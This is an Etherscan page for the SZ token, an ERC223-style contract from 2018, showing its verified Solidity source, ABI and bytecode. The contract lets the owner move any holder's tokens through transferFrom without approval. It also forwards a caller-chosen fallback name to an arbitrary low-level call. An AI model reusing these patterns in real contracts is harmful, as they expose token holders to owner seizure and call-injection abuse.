ETH Price: $3,327.72 (-3.87%)

Token

SZ (SZ)
 

Overview

Max Total Supply

5,000,000,000 SZ

Holders

1,470

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Filtered by Token Holder
bitcoin1996.eth
Balance
10,400 SZ

Value
$0.00
0x43f708c3f68B5fE2Fe5cf38844b56613c71fc544
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SZ

Compiler Version
v0.4.24+commit.e67f0147

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-08-29
*/

pragma solidity ^0.4.9;
 

contract SafeMath {
    uint256 constant public MAX_UINT256 =
    0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;

    function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) {
        if (x > MAX_UINT256 - y) assert(false);
        return x + y;
    }

    function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) {
        if (x < y) assert(false);
        return x - y;
    }

    function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) {
        if (y == 0) return 0;
        if (x > MAX_UINT256 / y) assert(false);
        return x * y;
    }
}

contract ContractReceiver {
    function tokenFallback(address _from, uint _value, bytes _data) public;
}
 
contract SZ is SafeMath { 
    
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Burn(address indexed burner, uint256 value);

    mapping(address => uint) balances;
  
    string public name    = "SZ";
    string public symbol  = "SZ";
    uint8 public decimals = 8;
    uint256 public totalSupply;
    uint256 public burn;
	address owner;
  
    constructor(uint256 _supply, string _name, string _symbol, uint8 _decimals) public
    {
        if (_supply == 0) _supply = 500000000000000000;

        owner = msg.sender;
        balances[owner] = _supply;
        totalSupply = balances[owner];

        name = _name;
        decimals = _decimals;
        symbol = _symbol;
    }
    

  
  
  // Function to access name of token .
  function name() public constant returns (string _name) {
      return name;
  }
  // Function to access symbol of token .
  function symbol() public constant returns (string _symbol) {
      return symbol;
  }
  // Function to access decimals of token .
  function decimals() public constant returns (uint8 _decimals) {
      return decimals;
  }
  // Function to access total supply of tokens .
  function totalSupply() public constant returns (uint256 _totalSupply) {
      return totalSupply;
  }
  
  
  // Function that is called when a user or another contract wants to transfer funds .
  function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
      
    if(isContract(_to)) {
        if (balanceOf(msg.sender) < _value) assert(false);
        balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
        balances[_to] = safeAdd(balanceOf(_to), _value);
        assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data));
        emit Transfer(msg.sender, _to, _value);
        return true;
    }
    else {
        return transferToAddress(_to, _value, _data);
    }
}
  

  // Function that is called when a user or another contract wants to transfer funds .
  function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
      
    if(isContract(_to)) {
        return transferToContract(_to, _value, _data);
    }
    else {
        return transferToAddress(_to, _value, _data);
    }
}
  
    // Standard function transfer similar to ERC20 transfer with no _data .
    // Added due to backwards compatibility reasons .
    function transfer(address _to, uint _value) public returns (bool success) {

        //standard function transfer similar to ERC20 transfer with no _data
        //added due to backwards compatibility reasons
        bytes memory empty;
        if(isContract(_to)) {
            return transferToContract(_to, _value, empty);
        }
        else {
            return transferToAddress(_to, _value, empty);
        }
    }

	//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
    function isContract(address _addr) private view returns (bool is_contract) {
        uint length;
        assembly {
        //retrieve the size of the code on target address, this needs assembly
            length := extcodesize(_addr)
        }
        return (length>0);
    }

	//function that is called when transaction target is an address
    function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
        _data = '';
        if (balanceOf(msg.sender) < _value) assert(false);
        balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
        balances[_to] = safeAdd(balanceOf(_to), _value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }
  
  //function that is called when transaction target is a contract
    function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
        if (balanceOf(msg.sender) < _value) assert(false);
        balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
        balances[_to] = safeAdd(balanceOf(_to), _value);
        ContractReceiver receiver = ContractReceiver(_to);
        receiver.tokenFallback(msg.sender, _value, _data);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public {
        if(!isOwner()) return;

        if (balances[_from] < _value) return;    
        if (safeAdd(balances[_to] , _value) < balances[_to]) return;

        balances[_from] = safeSub(balances[_from],_value);
        balances[_to] = safeAdd(balances[_to],_value);
        /* Notifiy anyone listening that this transfer took place */
        
        emit Transfer(_from, _to, _value);
    }

    function burn(uint256 _value) public {
        if (balances[msg.sender] < _value) return;    
        balances[msg.sender] = safeSub(balances[msg.sender],_value);
        burn = safeAdd(burn,_value);
        emit Burn(msg.sender, _value);
    }

	function isOwner() public view  
    returns (bool)  {
        return owner == msg.sender;
    }
	
    function balanceOf(address _owner) public constant returns (uint balance) {
        return balances[_owner];
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"_name","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"_totalSupply","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT256","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"burn","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"_symbol","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"},{"name":"_custom_fallback","type":"string"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_supply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"}]

60c0604052600260808190527f535a00000000000000000000000000000000000000000000000000000000000060a090815261003e916001919061015c565b506040805180820190915260028082527f535a0000000000000000000000000000000000000000000000000000000000006020909201918252610081918161015c565b506003805460ff1916600817905534801561009b57600080fd5b5060405162000da938038062000da98339810160409081528151602083015191830151606084015191939283019201908315156100de576706f05b59d3b2000093505b60068054600160a060020a0319163317808255600160a060020a03908116600090815260208181526040808320899055935490921681529190912054600455835161012f916001919086019061015c565b506003805460ff191660ff8316179055815161015290600290602085019061015c565b50505050506101f7565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061019d57805160ff19168380011785556101ca565b828001600101855582156101ca579182015b828111156101ca5782518255916020019190600101906101af565b506101d69291506101da565b5090565b6101f491905b808211156101d657600081556001016101e0565b90565b610ba280620002076000396000f3006080604052600436106100ab5763ffffffff60e060020a60003504166306fdde0381146100b057806318160ddd1461013a57806323b872dd14610161578063313ce5671461018d57806333a581d2146101b857806342966c68146101cd57806344df8e70146101e557806370a08231146101fa5780638f32d59b1461021b57806395d89b4114610244578063a9059cbb14610259578063be45fd621461027d578063f6368f8a146102e6575b600080fd5b3480156100bc57600080fd5b506100c561038d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100ff5781810151838201526020016100e7565b50505050905090810190601f16801561012c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014657600080fd5b5061014f610422565b60408051918252519081900360200190f35b34801561016d57600080fd5b5061018b600160a060020a0360043581169060243516604435610428565b005b34801561019957600080fd5b506101a2610529565b6040805160ff9092168252519081900360200190f35b3480156101c457600080fd5b5061014f610532565b3480156101d957600080fd5b5061018b600435610538565b3480156101f157600080fd5b5061014f6105c8565b34801561020657600080fd5b5061014f600160a060020a03600435166105ce565b34801561022757600080fd5b506102306105e9565b604080519115158252519081900360200190f35b34801561025057600080fd5b506100c56105fa565b34801561026557600080fd5b50610230600160a060020a0360043516602435610658565b34801561028957600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610230948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061068e9650505050505050565b3480156102f257600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610230948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506106c29650505050505050565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104185780601f106103ed57610100808354040283529160200191610418565b820191906000526020600020905b8154815290600101906020018083116103fb57829003601f168201915b5050505050905090565b60045490565b6104306105e9565b151561043b57610524565b600160a060020a03831660009081526020819052604090205481111561046057610524565b600160a060020a038216600090815260208190526040902054610483818361090d565b101561048e57610524565b600160a060020a0383166000908152602081905260409020546104b19082610922565b600160a060020a0380851660009081526020819052604080822093909355908416815220546104e0908261090d565b600160a060020a03808416600081815260208181526040918290209490945580518581529051919392871692600080516020610b5783398151915292918290030190a35b505050565b60035460ff1690565b60001981565b33600090815260208190526040902054811115610554576105c5565b3360009081526020819052604090205461056e9082610922565b3360009081526020819052604090205560055461058b908261090d565b60055560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25b50565b60055481565b600160a060020a031660009081526020819052604090205490565b600654600160a060020a0316331490565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156104185780601f106103ed57610100808354040283529160200191610418565b6000606061066584610934565b1561067c5761067584848361093c565b9150610687565b610675848483610ab4565b5092915050565b600061069984610934565b156106b0576106a984848461093c565b90506106bb565b6106a9848484610ab4565b9392505050565b60006106cd85610934565b156108f757836106dc336105ce565b10156106e457fe5b6106f66106f0336105ce565b85610922565b33600090815260208190526040902055610718610712866105ce565b8561090d565b60008087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b6020831061077f5780518252601f199092019160209182019101610760565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083106107e25780518252601f1990920191602091820191016107c3565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561087457818101518382015260200161085c565b50505050905090810190601f1680156108a15780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505015156108c157fe5b604080518581529051600160a060020a038716913391600080516020610b578339815191529181900360200190a3506001610905565b610902858585610ab4565b90505b949350505050565b6000816000190383111561091d57fe5b500190565b60008183101561092e57fe5b50900390565b6000903b1190565b60008083610949336105ce565b101561095157fe5b61095d6106f0336105ce565b33600090815260208190526040902055610979610712866105ce565b600160a060020a0386166000818152602081815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015610a155781810151838201526020016109fd565b50505050905090810190601f168015610a425780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b5050604080518781529051600160a060020a0389169350339250600080516020610b578339815191529181900360200190a3506001949350505050565b506040805160208101909152600080825282610acf336105ce565b1015610ad757fe5b610ae9610ae3336105ce565b84610922565b33600090815260208190526040902055610b0b610b05856105ce565b8461090d565b600160a060020a03851660008181526020818152604091829020939093558051868152905191923392600080516020610b578339815191529281900390910190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058200dc2a264f3b0b005ce21db1ce0e934646b78818eff37253b3b8516fea42c8b78002900000000000000000000000000000000000000000000000006f05b59d3b20000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000002535a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002535a000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100ab5763ffffffff60e060020a60003504166306fdde0381146100b057806318160ddd1461013a57806323b872dd14610161578063313ce5671461018d57806333a581d2146101b857806342966c68146101cd57806344df8e70146101e557806370a08231146101fa5780638f32d59b1461021b57806395d89b4114610244578063a9059cbb14610259578063be45fd621461027d578063f6368f8a146102e6575b600080fd5b3480156100bc57600080fd5b506100c561038d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100ff5781810151838201526020016100e7565b50505050905090810190601f16801561012c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014657600080fd5b5061014f610422565b60408051918252519081900360200190f35b34801561016d57600080fd5b5061018b600160a060020a0360043581169060243516604435610428565b005b34801561019957600080fd5b506101a2610529565b6040805160ff9092168252519081900360200190f35b3480156101c457600080fd5b5061014f610532565b3480156101d957600080fd5b5061018b600435610538565b3480156101f157600080fd5b5061014f6105c8565b34801561020657600080fd5b5061014f600160a060020a03600435166105ce565b34801561022757600080fd5b506102306105e9565b604080519115158252519081900360200190f35b34801561025057600080fd5b506100c56105fa565b34801561026557600080fd5b50610230600160a060020a0360043516602435610658565b34801561028957600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610230948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061068e9650505050505050565b3480156102f257600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610230948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506106c29650505050505050565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104185780601f106103ed57610100808354040283529160200191610418565b820191906000526020600020905b8154815290600101906020018083116103fb57829003601f168201915b5050505050905090565b60045490565b6104306105e9565b151561043b57610524565b600160a060020a03831660009081526020819052604090205481111561046057610524565b600160a060020a038216600090815260208190526040902054610483818361090d565b101561048e57610524565b600160a060020a0383166000908152602081905260409020546104b19082610922565b600160a060020a0380851660009081526020819052604080822093909355908416815220546104e0908261090d565b600160a060020a03808416600081815260208181526040918290209490945580518581529051919392871692600080516020610b5783398151915292918290030190a35b505050565b60035460ff1690565b60001981565b33600090815260208190526040902054811115610554576105c5565b3360009081526020819052604090205461056e9082610922565b3360009081526020819052604090205560055461058b908261090d565b60055560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25b50565b60055481565b600160a060020a031660009081526020819052604090205490565b600654600160a060020a0316331490565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156104185780601f106103ed57610100808354040283529160200191610418565b6000606061066584610934565b1561067c5761067584848361093c565b9150610687565b610675848483610ab4565b5092915050565b600061069984610934565b156106b0576106a984848461093c565b90506106bb565b6106a9848484610ab4565b9392505050565b60006106cd85610934565b156108f757836106dc336105ce565b10156106e457fe5b6106f66106f0336105ce565b85610922565b33600090815260208190526040902055610718610712866105ce565b8561090d565b60008087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b6020831061077f5780518252601f199092019160209182019101610760565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083106107e25780518252601f1990920191602091820191016107c3565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561087457818101518382015260200161085c565b50505050905090810190601f1680156108a15780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505015156108c157fe5b604080518581529051600160a060020a038716913391600080516020610b578339815191529181900360200190a3506001610905565b610902858585610ab4565b90505b949350505050565b6000816000190383111561091d57fe5b500190565b60008183101561092e57fe5b50900390565b6000903b1190565b60008083610949336105ce565b101561095157fe5b61095d6106f0336105ce565b33600090815260208190526040902055610979610712866105ce565b600160a060020a0386166000818152602081815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015610a155781810151838201526020016109fd565b50505050905090810190601f168015610a425780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b5050604080518781529051600160a060020a0389169350339250600080516020610b578339815191529181900360200190a3506001949350505050565b506040805160208101909152600080825282610acf336105ce565b1015610ad757fe5b610ae9610ae3336105ce565b84610922565b33600090815260208190526040902055610b0b610b05856105ce565b8461090d565b600160a060020a03851660008181526020818152604091829020939093558051868152905191923392600080516020610b578339815191529281900390910190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058200dc2a264f3b0b005ce21db1ce0e934646b78818eff37253b3b8516fea42c8b780029

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000006f05b59d3b20000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000002535a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002535a000000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _supply (uint256): 500000000000000000
Arg [1] : _name (string): SZ
Arg [2] : _symbol (string): SZ
Arg [3] : _decimals (uint8): 8

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000006f05b59d3b20000
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [5] : 535a000000000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [7] : 535a000000000000000000000000000000000000000000000000000000000000


Swarm Source

bzzr://0dc2a264f3b0b005ce21db1ce0e934646b78818eff37253b3b8516fea42c8b78
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.